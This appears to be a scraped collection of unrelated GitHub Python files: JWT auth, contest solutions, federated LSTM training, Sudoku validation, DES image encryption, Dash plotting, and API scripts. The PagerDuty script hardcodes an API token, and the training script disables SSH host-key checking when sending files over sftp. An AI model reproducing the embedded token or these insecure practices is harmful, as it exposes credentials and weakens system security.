(\n \"cognito:groups\" in payload\n and AWS_COGNITO_USER_GROUP not in payload[\"cognito:groups\"]\n ):\n raise HTTPException(\n 403, detail=t(\"fmbiz.auth.errors.not_authenticated\")\n )\n\n user_info = get_user_from_cognito(token)\n member = Member.find_by_email(user_info[\"email\"])\n if len(member) == 0:\n raise HTTPException(\n 403, detail=t(\"fmbiz.auth.errors.member_not_found\")\n )\n\n return member[0]\n\n def get_jwks_keys(self, jwks_uri: str, kid):\n # Check jwks in cache\n cache = get_cache(\"jwks-\" + kid)\n key = json.loads(cache) if cache else cache\n\n if not key:\n jsonurl = urlopen(jwks_uri)\n jwks = json.loads(jsonurl.read())\n\n for _key in jwks[\"keys\"]:\n # Save jwks to cache\n set_cache(\n \"jwks-\" + _key[\"kid\"], json.dumps(_key), AUTH_CACHE_TTL\n )\n if _key[\"kid\"] == kid:\n key = _key\n\n return key\n\n def decode_token(self, token: str, rsa_key: dict):\n issuer = (\n f\"https://cognito-idp.{AWS_COGNITO_REGION}.amazonaws.com\"\n f\"/{AWS_COGNITO_USERPOOL_ID}\"\n )\n try:\n return jwt.decode(\n token,\n rsa_key,\n algorithms=[\"RS256\"],\n issuer=issuer,\n )\n\n except jwt.ExpiredSignatureError:\n raise AuthError(\n {\n \"code\": \"token_expired\",\n \"description\": t(\"fmbiz.auth.errors.token_expired\"),\n },\n 401,\n )\n\n except jwt.JWTClaimsError:\n raise AuthError(\n {\n \"code\": \"invalid_claims\",\n \"description\": t(\"fmbiz.auth.errors.invalid_claims\"),\n },\n 401,\n )\n\n except Exception:\n raise AuthError(\n {\n \"code\": \"invalid_header\",\n \"description\": t(\"fmbiz.auth.errors.invalid_header\"),\n },\n 401,\n )\n\n def verify_token(self, token: str):\n try:\n jwks_uri = (\n f\"https://cognito-idp.{AWS_COGNITO_REGION}.amazonaws.\"\n f\"com/{AWS_COGNITO_USERPOOL_ID}/.well-known/jwks.json\"\n )\n\n unverified_header = jwt.get_unverified_header(token)\n key = self.get_jwks_keys(jwks_uri, unverified_header[\"kid\"])\n\n if not key:\n raise AuthError(\n {\n \"code\": \"invalid_header\",\n \"description\": t(\"fmbiz.auth.errors.invalid_header\"),\n },\n 401,\n )\n rsa_key = {\n \"kty\": key[\"kty\"],\n \"kid\": key[\"kid\"],\n \"use\": key[\"use\"],\n \"n\": key[\"n\"],\n \"e\": key[\"e\"],\n }\n return self.decode_token(token, rsa_key)\n except jwt.JWTError:\n raise AuthError(\n {\n \"code\": \"invalid_header\",\n \"description\": t(\"fmbiz.auth.errors.invalid_header\"),\n },\n 401,\n )\n\n\ndef generate_key(kid: str) -> dict:\n \"\"\"Generate a JWK key with common options\"\"\"\n return json.loads(\n jwk.JWK.generate(kid=kid, kty=\"RSA\", use=\"sig\", alg=\"RS256\").export()\n )\n\n\ndef generate_token(key=None, **kwargs):\n \"\"\"Generate JWT token from a JWK key\"\"\"\n if key is None:\n key = json.loads(TOKEN_GENERATION_KEY)\n payload = {\n \"iss\": kwargs.pop(\n \"iss\",\n f\"https://cognito-idp.{AWS_COGNITO_REGION}.\"\n f\"amazonaws.com/{AWS_COGNITO_USERPOOL_ID}\",\n ),\n }\n\n # For claims in public claims, add them to the payload directly\n public_claims = [\"sub\", \"exp\", \"nbf\", \"iat\", \"jti\", \"scope\"]\n for claim in public_claims:\n if claim in kwargs:\n payload[claim] = kwargs.pop(claim)\n\n # For claims in private claims\n for claim in kwargs:\n payload[claim] = kwargs[claim]\n\n return jwt.encode(\n payload,\n key,\n algorithm=key.get(\"alg\", \"RS256\"),\n headers={\"kid\": key[\"kid\"]},\n )\n","repo_name":"Bangtx/bkstem","sub_path":"api/utils/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":5596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"71948277513","text":"N = int(input())\nP = list(map(int, input().split()))\n\nflg = None\nfor i, p in enumerate(P):\n index = i+1\n if index != p:\n if P[p-1] == index and ((not flg) or index==flg):\n flg = p\n else:\n print('NO')\n break\nelse:\n print('YES')","repo_name":"chouxcreams/atcoder-beginner-contest","sub_path":"abc135/abc135_b.py","file_name":"abc135_b.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"33933379624","text":"import torch\nimport torch.nn as nn\nimport numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import MinMaxScaler\nimport random\nfrom collections import OrderedDict\nimport pickle\nimport os, time\n\ntorch.manual_seed(3) # For reproducibility\nrandom.seed(3)\n\n# Function to convert data into matrix [X=t, y=t+1] and normalize it for training\n\ndef pdata(drate, window=1):\n dfinal = []\n seq = window+1\n for index in range(len(drate)-seq+1):\n dfinal.append(drate[index:index+seq])\n dtrain = np.array(dfinal)\n X_train = dtrain[:,:-1] # Select all columns, but the last one\n y_train = dtrain[:,-1] # Select last column\n \n # Normalizing data: \n scaler = MinMaxScaler(feature_range=(0, 1)) \n Xn_train = scaler.fit_transform(X_train.reshape(-1, window))\n yn_train = scaler.fit_transform(y_train.reshape(-1, 1))\n \n # Converting datasets into tensors:\n X_train = torch.from_numpy(Xn_train).type(torch.Tensor)\n y_train = torch.from_numpy(yn_train).type(torch.Tensor).view(-1)\n \n return [X_train, y_train]\n \n\n# Define model class\nclass LSTM(nn.Module):\n\n def __init__(self, input_size=1, hidden_size=30, output_size=1, num_layers=3):\n super().__init__()\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n\n # Define the LSTM layers\n self.lstm = nn.LSTM(input_size, hidden_size, num_layers, bias=True, batch_first=False, dropout=0.2)\n\n # Define the output layer\n self.linear = nn.Linear(hidden_size, output_size)\n\n # Hidden state initialization\n self.hidden_cell = (torch.zeros(self.num_layers,1,self.hidden_size),\n torch.zeros(self.num_layers,1,self.hidden_size)) # Batch size = 1\n\n def forward(self, input_seq):\n # Forward pass through LSTM layer\n # shape of lstm_out: [input_size, batch_size, hidden_dim]\n # shape of self.hidden_cell: (a, b), where a and b both have shape (num_layers, batch_size, hidden_dim).\n lstm_out, self.hidden_cell = self.lstm(input_seq.view(len(input_seq), 1, -1), self.hidden_cell)\n \n # Only take the output from the final timestep\n y_pred = self.linear(lstm_out.view(len(input_seq), -1))\n return y_pred[-1]\n\n# Create local LSTM models:\nmodel_a = LSTM()\nmodel_b = LSTM()\nloss_fn_a = nn.MSELoss()\nloss_fn_b = nn.MSELoss()\n\n## Training federated model:\n\nn_queue = 20 # Number of queues to be consiedered for the FCP\ndr = [None]*n_queue # Initialization for the list of series corresponding to the drop rate data of each queue\nnzs = [None]*n_queue # List with the non-zero samples of each queue\n\nwindow = 10 # Window size for the sequence to be considered \nrounds = 10 # Max rounds to be run \nZ = 1000 # Number of local training iterations\nlearning_rate = 1e-3\nsamples = Z+window\n\nfor r in range(rounds):\n \n nz_queues = 0\n \n while nz_queues < 2: # If all the queues have no drop rate data, wait until at least two have it\n \n for q in range(n_queue): # Load all queues data \n \n os.system('tail -n {} ~/bra_stat/drp_stat_{}.csv > ~/bra_stat/drp_tmp_{}.csv'.format(samples,q+2,q+2))\n drops = pd.read_csv('~/bra_stat/drp_tmp_%s.csv' %(q+2), header=None)\n drop_d = drops.diff()\n os.system('tail -n {} ~/bra_stat/pkt_stat_{}.csv > ~/bra_stat/pkt_tmp_{}.csv'.format(samples,q+2,q+2))\n pkts = pd.read_csv('~/bra_stat/pkt_tmp_%s.csv' %(q+2), header=None)\n pkt_d = pkts.diff()\n dr[q] = (drop_d/pkt_d).fillna(0)\n \n # Get the number of non-zero samples to determine the relative impact of each queue later\n nzs[q] = np.count_nonzero(dr[q])\n \n queues = [q for q in nzs if q != 0] # Queues with non-zero values are selected only\n nz_queues = len(queues) \n \n # Queue selection for the federated training\n q_sel = queues.copy()\n q1 = q_sel.pop(random.randrange(len(q_sel))) # Choose the first queue randomly and remove it from the list\n q2 = q_sel.pop(random.randrange(len(q_sel))) # Choose the second queue randomly and remove it from the list\n q1 = nzs.index(q1) # Index of value in the original list\n q2 = nzs.index(q2)\n\n # Getting tensors of normalized subsets data of selected queues:\n Xtrain_a, ytrain_a = pdata(dr[q1][0], window) # dr is a list of series. The column 0 of each series has the corresponding queue data\n Xtrain_b, ytrain_b = pdata(dr[q2][0], window)\n\n # Getting the parameters of the Learning Orchestrator's model\n wo_file = '/home/ubuntu/LLA/wo_%s.pt' %r\n while not os.path.isfile(wo_file):\n time.sleep(0)\n while not os.path.getsize(wo_file) >= 79641: # To make sure that the file is not empty and still being transferred (w file is 79641 B in size)\n time.sleep(0)\n wo_dict = torch.load(wo_file)\n \n # Load LO parameters to local models\n model_a.load_state_dict(wo_dict)\n model_b.load_state_dict(wo_dict)\n \n optim_a = torch.optim.Adam(model_a.parameters(), lr=learning_rate)\n optim_b = torch.optim.Adam(model_b.parameters(), lr=learning_rate)\n \n for seq in range(Z): \n \n # Train model a\n optim_a.zero_grad()\n model_a.hidden_cell = (torch.zeros(model_a.num_layers, 1, model_a.hidden_size),\n torch.zeros(model_a.num_layers, 1, model_a.hidden_size))\n ypred_a = model_a(Xtrain_a[seq])\n loss_a = loss_fn_a(ypred_a, ytrain_a[seq].view(-1))\n loss_a.backward()\n optim_a.step()\n \n # Train model b\n optim_b.zero_grad()\n model_b.hidden_cell = (torch.zeros(model_b.num_layers, 1, model_b.hidden_size),\n torch.zeros(model_b.num_layers, 1, model_b.hidden_size))\n ypred_b = model_b(Xtrain_b[seq])\n loss_b = loss_fn_b(ypred_b, ytrain_b[seq].view(-1))\n loss_b.backward()\n optim_b.step()\n \n \n # Create file with dk values and send it to the Learning Orchestrator\n dk = [nzs[q1], nzs[q2]]\n d_file = '/home/ubuntu/LLA/dk_%s.data' %r\n \n with open(d_file, 'wb') as filehandle: # Binary writing to save the list with dk values\n pickle.dump(dk, filehandle)\n os.system('sftp -q -o StrictHostKeyChecking=no -P 54321 -i /home/ubuntu/emula-vm.pem ubuntu@10.10.10.10:{} /home/ubuntu/LO'.format(d_file))\n \n # Create files with the models' parameters and send them to the Learning Orchestrator: \n wa_file = '/home/ubuntu/LLA/wa_%s.pt' %r\n torch.save(model_a.state_dict(), wa_file)\n os.system('sftp -q -o StrictHostKeyChecking=no -P 54321 -i /home/ubuntu/emula-vm.pem ubuntu@10.10.10.10:{} /home/ubuntu/LO'.format(wa_file))\n \n wb_file = '/home/ubuntu/LLA/wb_%s.pt' %r\n torch.save(model_b.state_dict(), wb_file)\n os.system('sftp -q -o StrictHostKeyChecking=no -P 54321 -i /home/ubuntu/emula-vm.pem ubuntu@10.10.10.10:{} /home/ubuntu/LO'.format(wb_file))\n\n","repo_name":"cgomezsu/FIAQM","sub_path":"ll_train.py","file_name":"ll_train.py","file_ext":"py","file_size_in_byte":7392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"33167765178","text":"''''\nDetermine if a 9 x 9 Sudoku board is valid. Only the filled cells need to be validated according to the following rules:\n\nEach row must contain the digits 1-9 without repetition.\nEach column must contain the digits 1-9 without repetition.\nEach of the nine 3 x 3 sub-boxes of the grid must contain the digits 1-9 without repetition.\nNote:\n\nA Sudoku board (partially filled) could be valid but is not necessarily solvable.\nOnly the filled cells need to be validated according to the mentioned rules.\n\n'''\nclass Solution:\n def isValidSudoku(self, grid: List[List[str]]) -> bool:\n for i in range(9):\n if not self.validList([grid[i][j] for j in range(0,9)]):\n return False\n for j in range(9):\n if not self.validList([grid[i][j] for i in range(0,9)]):\n return False\n\n for i in range(3):\n for j in range(3):\n if not self.validList([grid[x][y] for x in range(i*3,3*i+3) for y in range(3*j,3*j+3) ] ):\n return False\n return True\n def validList(self,x: List)-> bool:\n xs = filter(lambda y: y != \".\", x)\n xs= [i for i in xs]\n return True if len(xs)==len(set(xs)) else False\n","repo_name":"vivekfe/Competitive-Programming","sub_path":"Sudoku_Validator.py","file_name":"Sudoku_Validator.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"16962392715","text":"from pyDes import *\ndef TDES_encrypt(Image):\n\n #Try catch block to maintain the efficiency\n try:\n #Open the image from the file explorer\n\n fin = open(Image,'rb')\n img = fin.read()\n key = des(\"DESCRYPT\",CBC,\"\\0\\0\\0\\0\\0\\0\\0\\0\",pad = None, padmode = PAD_PKCS5)\n print(\"Image Bin\", img)\n enc = key.encrypt(img)\n enc1 = key.encrypt(enc)\n enc2 = key.encrypt(enc1)\n fin.close()\n fin = open(Image,'wb')\n fin.write(enc2)\n fin.close()\n print('Image has been encrypted successfully')\n\n except Exception :\n print(Exception.__name__)\n \n return enc2\n\ndef TDES_decrypt(Image):\n try:\n fin = open(Image,'rb')\n image = fin.read()\n fin.close()\n key = des(\"DESCRYPT\",CBC,\"\\0\\0\\0\\0\\0\\0\\0\\0\",pad = None, padmode = PAD_PKCS5)\n dec = key.decrypt(image)\n dec1 = key.decrypt(dec)\n dec2 = key.decrypt(dec1)\n fin = open(Image,'wb')\n fin.write(dec2)\n fin.close()\n except Exception:\n print(Exception.__name__)\n\n return dec2\n\n \npath = r'C:\\Users\\Admin\\Pictures\\Sample Image 4.jfif'\ned2 = TDES_encrypt(path)\nprint(\"Final Encryption : %r\" %ed2)\nd2 = TDES_decrypt(path)\nprint(\"Final decryption : %r\" %d2)\n\n\n\n\n\n\n\n","repo_name":"Shripati-ops/TDES","sub_path":"TDES.py","file_name":"TDES.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"13716784159","text":"import string\n\nimport plotly.graph_objects as go\nfrom dash import dcc, html\n\nfrom ..config import goalkeeper_stats, defender_stats, midfielder_stats, forward_stats\n\n\nclass Barchart(html.Div):\n def __init__(self, name, feature_y, df):\n\n # pre-create all datasets to reduce latency, one dataset per position\n\n positions_to_features = {\n 'goalkeeper': goalkeeper_stats,\n 'defender': defender_stats,\n 'midfielder': midfielder_stats,\n 'forward': forward_stats\n }\n\n positions_to_encoded_positions = {\n 'goalkeeper': ['GK'],\n 'defender': ['DF', 'FB', 'LB', 'RB', 'CB'],\n 'midfielder': ['MF', 'DM', 'CM', 'LM', 'RM', 'WM', 'AM'],\n 'forward': ['FW', 'LW', 'RW']\n }\n\n dfs = {}\n\n for key, value in positions_to_features.items():\n # only keep the required features\n position = df[['player', 'position'] + value]\n # only keep players with the given position\n position = position[position['position'].isin(positions_to_encoded_positions[key])]\n # min-max normalize the data to make the plots more readable\n position[value] = position[value].apply(lambda x: (x - x.min()) / (x.max() - x.min()))\n # calculate the sum which is the score we use to create the top 10\n position['sum'] = position[value].sum(axis=1)\n if key == 'goalkeeper':\n # for the goalkeeper goals against is a negative thing we subtract this instead of summing it\n position['sum'] -= 2 * position['gk_goals_against_per90']\n position = position.sort_values(by='sum', ascending=False)\n dfs[key] = position\n\n # save all information needed in the update phase\n self.html_id = name.lower().replace(\" \", \"-\")\n self.gk_df = dfs['goalkeeper']\n self.def_df = dfs['defender']\n self.mid_df = dfs['midfielder']\n self.for_df = dfs['forward']\n self.feature_y = feature_y\n self.selected_players = []\n\n # Equivalent to `html.Div([...])`\n super().__init__(\n className=\"graph_card\",\n children=[\n html.H6(name),\n dcc.Graph(id=self.html_id)\n ],\n )\n\n def update(self, selected_position, added_player):\n # if the selected position is None which is when we reset the dropdown or at the start generate an empty\n # barchart with the same size as the filled one\n if selected_position is None:\n return go.Figure(\n layout=go.Layout(\n yaxis={'title': 'Player'},\n width=700,\n height=550\n )\n )\n\n positions_to_df = {\n 'goalkeeper': self.gk_df,\n 'defender': self.def_df,\n 'midfielder': self.mid_df,\n 'forward': self.for_df\n }\n\n positions_to_features = {\n 'goalkeeper': goalkeeper_stats,\n 'defender': defender_stats,\n 'midfielder': midfielder_stats,\n 'forward': forward_stats\n }\n\n # select the dataframe and attributes for the chosen position\n df = positions_to_df[selected_position].reset_index(drop=True)\n features = positions_to_features[selected_position]\n\n # create the stacked barplot\n x_values = df[features]\n y_values = df[self.feature_y]\n self.fig = go.Figure(data=[\n go.Bar(x=x_values[feature][:10],\n y=y_values[:10],\n orientation='h',\n name=string.capwords(feature.replace('gk_', '').replace('_', ' ')))\n for feature in features\n ])\n\n self.fig.update_layout(width=700, height=550, barmode='stack', clickmode='event+select', yaxis_title=\"Players\")\n self.fig.update_xaxes(showticklabels=False)\n\n # added_player indicates that a player was clicked and must be highlighted, if this is None the selected points\n # are set to all 10 players shown and the selected players is an empty list as no-one is selected. This only\n # happens when a new position is chosen and the plot is reset\n if added_player is None:\n selected_index = df.index[:10]\n self.selected_players = []\n else:\n # make sure we have at most two selected players\n if len(self.selected_players) < 2:\n self.selected_players.append(added_player)\n else:\n self.selected_players = [self.selected_players[-1], added_player]\n selected_index = df[df['player'].isin(self.selected_players)].index\n\n for i in range(5):\n # highlight the bars for the selected players\n self.fig.data[i].selectedpoints = selected_index\n\n return self.fig\n","repo_name":"AisjaThijssen/DataVisProject","sub_path":"jbi100_app/views/barchart.py","file_name":"barchart.py","file_ext":"py","file_size_in_byte":4902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"37663188263","text":"import requests\nimport os\n\n\nBASE_URL = \"https://api.themoviedb.org/3\"\n\ntrending_movies_result = requests.get(f\"{BASE_URL}/movie/popular\", params={'api_key': os.getenv(\"API_KEY\")})\ndata = trending_movies_result.json()\n\nfor pop_movie in data[\"results\"]:\n \n Movie_title = pop_movie['title']\n brief_summary = pop_movie['overview']\n \n print(\"Currently Trending Movie Title: \" + Movie_title)\n print(\"Synopsis: \" + brief_summary[:100] + \"...\")\n print()\n","repo_name":"bhill7770/hw5_bhill28","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"28388009183","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n'''Digit recognizer for Kaggle competition (https://www.kaggle.com/c/digit-recognizer).'''\n\nimport os\nimport csv\nfrom PIL import Image\nimport math\n\ndef database():\n path_to_data = os.path.abspath(os.path.join('.', 'data_files/train.csv'))\n with open(path_to_data, 'r', newline = '') as datafile:\n data_from_file = csv.reader(datafile)\n header = next(data_from_file)\n data = [] \n for line in data_from_file:\n data.append(line)\n return data\n\n\ndef draw_image(data):\n image = Image.new('L', (28, 28))\n for i in range(28):\n for j in range(28):\n image.putpixel((i,j), int(data[28*i+j]))\n # print(image.getpixel((i,j)), data[28*i+j])\n image.show()\n pass\n\n\ndef counter_of_frequency_of_numbers(data):\n frequency_of_numbers = [0] * 10\n for i in range(len(data)):\n for j in range(10):\n if data[i][0] == str(j):\n frequency_of_numbers[j]+=1\n for i in range(10):\n print('{0}: {1}'.format(i, frequency_of_numbers[i]))\n\ndef examples_by_numbers(data):\n data_by_numbers = [[], [], [], [], [], [], [], [], [], []]\n\n for i in range(len(data)):\n for j in range(10):\n if data[i][0] == str(j):\n data_by_numbers[j].append(data[i])\n return data_by_numbers\n\ndef freq_of_pixels(image):\n '''Frequencies of pixels in horiz and vert lines of image.\n Actually, any of vars, for example, horiz_freq_sum is a list with len == width_image items where is frequencies of width and height pixels. It's important note!'''\n \n horiz_freq_sum, vert_freq_sum = [0] * int(len(image)**0.5), [0] * int(len(image)**0.5)\n for i in range(len(image)):\n if int(image[i]) != 0:\n horiz_freq_sum[(i)//int(len(image)**0.5)] += 1\n vert_freq_sum[(i)%int(len(image)**0.5)] += 1\n print('''Horiz_lines: {0} \nVert_lines: {1}'''.format(horiz_freq_sum, vert_freq_sum))\n return [horiz_freq_sum, vert_freq_sum]\n \n\ndef caclulations_for_one_as_line(image):\n h_and_v_freq = freq_of_pixels(image)\n horiz_freq_sum = h_and_v_freq[0]\n vert_freq_sum = h_and_v_freq[1]\n h_counter, v_counter = 0, 0\n for i in range(len(horiz_freq_sum)):\n if horiz_freq_sum[i] > 1: #another variants: !=0, for example\n h_counter += 1\n if vert_freq_sum[i] > 1: #another variants: !=0, for example \n v_counter += 1\n \n h_start, v_start, h_end, v_end = 0, 0, 0, 0\n for i in range(len(horiz_freq_sum)):\n if horiz_freq_sum[i] != 0 and h_start == 0:\n h_start = i\n if horiz_freq_sum[i] != 0 and h_start != 0:\n h_end = i\n for i in range(len(vert_freq_sum)):\n if vert_freq_sum[i] != 0 and v_start == 0:\n v_start = i\n if vert_freq_sum[i] != 0 and v_start != 0:\n v_end = i\n\n h_v = [h_counter, v_counter]\n \n h_line = h_end+1 - h_start\n v_line = v_end+1 - v_start\n\n dgre = round(math.degrees(math.atan(h_line / v_line)))\n \n return [horiz_freq_sum, vert_freq_sum, h_counter, v_counter, h_start, v_start, h_end, v_end, h_v, h_line, v_line, dgre]\n \ndef neuron_one_as_line(image):\n result_of_one_as_line_cheking = caclulations_for_one_as_line(image)\n \n horiz_freq_sum = result_of_one_as_line_cheking[0]\n vert_freq_sum = result_of_one_as_line_cheking[1]\n h_counter = result_of_one_as_line_cheking[2]\n v_counter = result_of_one_as_line_cheking[3]\n h_start = result_of_one_as_line_cheking[4]\n v_start = result_of_one_as_line_cheking[5]\n h_end = result_of_one_as_line_cheking[6]\n v_end = result_of_one_as_line_cheking[7]\n h_v = result_of_one_as_line_cheking[8]\n h_line = result_of_one_as_line_cheking[9]\n v_line = result_of_one_as_line_cheking[10]\n dgre = result_of_one_as_line_cheking[11]\n \n\n print('h_counter: {0}, v_counter: {1}, h_start: {2}, h_end: {3}, v_start: {4}, v_end: {5}, {6},{7},{8}'.format(h_counter, v_counter, h_start, h_end, v_start, v_end, h_line, v_line, dgre))\n \n neuron_output = False\n \n # for case when line is horizontal or vertical\n if max(h_v) / min(h_v) >= 1.5: # need to think more about this coef, or in another way - normalization of data before start this neuron\n neuron_output = True\n \n # for case when line is diagonal\n else:\n shift = round((h_counter ** 2 + v_counter ** 2) ** 0.5) #shift is a rounded value of hypotenuse\n new_image = image_rotation(image, dgre)\n result_of_one_as_line_cheking = caclulations_for_one_as_line(new_image)\n \n horiz_freq_sum = result_of_one_as_line_cheking[0]\n vert_freq_sum = result_of_one_as_line_cheking[1]\n h_counter = result_of_one_as_line_cheking[2]\n v_counter = result_of_one_as_line_cheking[3]\n h_start = result_of_one_as_line_cheking[4]\n v_start = result_of_one_as_line_cheking[5]\n h_end = result_of_one_as_line_cheking[6]\n v_end = result_of_one_as_line_cheking[7]\n h_v = result_of_one_as_line_cheking[8]\n h_line = result_of_one_as_line_cheking[9]\n v_line = result_of_one_as_line_cheking[10]\n dgre = result_of_one_as_line_cheking[11]\n \n if max(h_v) / min(h_v) >= 1.5: # need to think more about this coef, or in another way - normalization of data before start this neuron\n neuron_output = True\n else:\n # for case when one has check mark (like seven)... NEED to Write!!!!\n neuron_output = False\n \n \n print(neuron_output)\n return neuron_output\n \n\ndef image_rotation(image, angle):\n '''This method rotate original image to new image with line in the center'''\n img = Image.new('L', (28, 28))\n for i in range(28):\n for j in range(28):\n img.putpixel((i,j), int(image[28*i+j]))\n new_image = img.rotate(angle, expand=True) \n # print(new_image)\n # new_image.show()\n ni_load = new_image.load()\n \n image_pixels = []\n new_image_width = new_image.size[0]\n print(new_image_width)\n for i in range(new_image_width**2):\n # print(i//new_image_width, i%new_image_width)\n try: # BUG: in some cases for unknown reasons without try it doesnt work!\n image_pixels.append(str(ni_load[i//new_image_width, i%new_image_width]))\n except:\n pass\n \n return image_pixels\n \n \n# for zero:\n# in train.csv have zeroes with:\n# 1) line in zero's circle\n# 2) with a circuit which is interrupted at the boundary of the figure and the alleged beyond its bordersю\n# If for zeroes pattern searching we will be use circuit searching, then: \n# most of these zeroes with first future can be detected by reducing the line width to 1 px\n\n# for 'one' digits:\n# In most cases, this is a straight or nearly straight line located in different directions.\n# sometimes this line is curved line, or, also sometimes it has check mark, like the seven \n\nif __name__ == '__main__':\n data = database()\n # counter_of_frequency_of_numbers(data)\n \n # # draw the first 20 images\n # for i in range(20):\n # draw_image(data[i][1:])\n\n\n # # draw last 5 images from data list, sorted by numbers \n data_by_numbers = examples_by_numbers(data)\n \n \n # for i in range(4679, 4684):\n # draw_image(data_by_numbers[1][i][1:])\n\n for i in range(3):\n freq_of_pixels(data_by_numbers[1][i][-3:])\n \n\n counter = 0\n for i in range(len(data_by_numbers[1])):\n if neuron_one_as_line(data_by_numbers[1][i][1:]) == True:\n counter += 1\n \n print(len(data_by_numbers[1]), counter)\n\n pass\n","repo_name":"q121212/dig_rec","sub_path":"dig_recognizer.py","file_name":"dig_recognizer.py","file_ext":"py","file_size_in_byte":7161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"23300081314","text":"__author__ = 'Antonio'\n\nimport requests\nimport re\nfrom pytz import timezone\nfrom datetime import datetime\nfrom pprint import pprint as pp\nimport name_resolver_se\n# import arrow\n\n\n\"\"\"\ncurl -H \"Content-type: application/json\" -H \"Authorization: Token token=VCRX6FPqypcrDqw1DGP3\" -X GET -G \\\n --data-urlencode \"since=2015-08-16\" \\\n --data-urlencode \"until=2015-08-19\" \\\n --data-urlencode \"sort_by=created_on\" \\\n --data-urlencode \"limit=300\" \\\n --data-urlencode \"offset=0\" \\\n --data-urlencode \"fields=incident_number,status,created_on,html_url,last_status_change_by,last_status_change_on,trigger_summary_data\" \\\n \"https://tango.pagerduty.com/api/v1/incidents\"\n\"\"\"\n\n\ndef get_incidents(time_since, time_until, from_tz):\n\n # TODO:\n # simple time validation:\n # pass\n\n # convert date to UTC timezone:\n time_since_utc = convert_tz(time_since, from_tz)\n time_until_utc = convert_tz(time_until, from_tz)\n\n LIMIT = 100 # MAX possible value.\n offset = 0 # start value.\n incnd_cnt = 1 # start value. Need to trigger first while loop.\n r_dict_list = [] # list of response dicts, in case of total > limit.\n\n cntr = 1\n while incnd_cnt > 0:\n\n URL = \"https://tango.pagerduty.com/api/v1/incidents\"\n TOKEN = \"VCRX6FPqypcrDqw1DGP3\"\n HEADERS = {'Content-type': 'application/json',\n 'Authorization': 'Token token={0}'.format(TOKEN)}\n\n PAYLOAD = {'since': time_since_utc, # '2015-08-16T09:55:30Z'\n 'until': time_until_utc, # '2015-08-17T09:55:30Z'\n 'sort_by': 'created_on',\n 'limit': LIMIT, #max\n 'offset': offset,\n 'fields': 'incident_number,incident_key,status,created_on,html_url,last_status_change_by,last_status_change_on,trigger_summary_data'}\n\n r = requests.get(URL, headers=HEADERS, params=PAYLOAD)\n\n r_dict = r.json()\n # debug.\n # pp(r_dict)\n r_dict_list.append(r_dict) # RESULT LIST OF DICTS.\n # debug.\n # print(len(r_dict_list))\n\n # debug.\n # print(\"offset\", offset)\n\n offset = cntr * LIMIT\n incnd_cnt = r_dict[\"total\"] - offset\n cntr += 1\n\n # prevent Pager Duty DoS:\n if offset > 500:\n break\n\n # debug.\n # pp(r_dict_list)\n\n # merge list of dicts to one big dict:\n merged_list = []\n for element in r_dict_list:\n merged_list.extend(element['incidents'])\n merged_dict = {'incidents': merged_list}\n\n return merged_dict\n\n\ndef make_incidents_dict(incidents_list):\n \"\"\"\n\n :param incidents_list:\n[{'created_on': '2015-08-16T09:55:30Z',\n 'html_url': 'https://tango.pagerduty.com/incidents/PU70XB6',\n 'incident_key': 'event_source=service;host_name=sg0101asw122692201412130011172030000225;service_desc=Free '\n 'Memory',\n 'incident_number': 115940,\n 'last_status_change_by': None,\n 'last_status_change_on': '2015-08-16T09:57:20Z',\n 'status': 'resolved',\n 'trigger_summary_data': {'HOSTNAME': 'sg0101asw122692201412130011172030000225',\n 'SERVICEDESC': 'Free Memory',\n 'SERVICESTATE': 'CRITICAL',\n 'pd_nagios_object': 'service',\n 'subject': 'sg0101asw122692201412130011172030000225 '\n 'Free Memory (CRITICAL)'}},\n {'created_on': '2015-08-16T10:35:41Z',\n 'html_url': 'https://tango.pagerduty.com/incidents/PV5SRJ3',\n 'incident_key': '/Alert/314108/15935436/4064615',\n 'incident_number': 115941,\n 'last_status_change_by': None,\n 'last_status_change_on': '2015-08-16T10:40:24Z',\n 'status': 'resolved',\n 'trigger_summary_data': {'client': 'New Relic',\n 'client_url': 'https://rpm.newrelic.com/accounts/314108/incidents/15935436',\n 'description': 'Alert open: Error rate > 5.0% - '\n 'App: Music-Pix-Labs - Policy: '\n 'Music-Pix'}},\n {'created_on': '2015-08-16T10:52:25Z',\n 'html_url': 'https://tango.pagerduty.com/incidents/PXAIELQ',\n 'incident_key': '/Alert/314108/15935624/4064615',\n 'incident_number': 115942,\n 'last_status_change_by': None,\n 'last_status_change_on': '2015-08-16T11:05:35Z',\n 'status': 'resolved',\n 'trigger_summary_data': {'client': 'New Relic',\n 'client_url': 'https://rpm.newrelic.com/accounts/314108/incidents/15935624',\n 'description': 'Alert open: Error rate > 5.0% - '\n 'App: Music-Pix-Labs - Policy: '\n 'Music-Pix'}},\n\n\n :return(TUPLE OF (incidents_dict, uniq_incidents_numbers_list)):\n{115940: {'created_on': '2015-08-16T09:55:30Z',\n 'html_url': 'https://tango.pagerduty.com/incidents/PU70XB6',\n 'incident_key': 'event_source=service;host_name=sg0101asw122692201412130011172030000225;service_desc=Free '\n 'Memory',\n 'incident_number': 115940,\n 'last_status_change_by': None,\n 'last_status_change_on': '2015-08-16T09:57:20Z',\n 'status': 'resolved',\n 'trigger_summary_data': {'HOSTNAME': 'sg0101asw122692201412130011172030000225',\n 'SERVICEDESC': 'Free Memory',\n 'SERVICESTATE': 'CRITICAL',\n 'pd_nagios_object': 'service',\n 'subject': 'sg0101asw122692201412130011172030000225 '\n 'Free Memory (CRITICAL)'}},\n 115941: 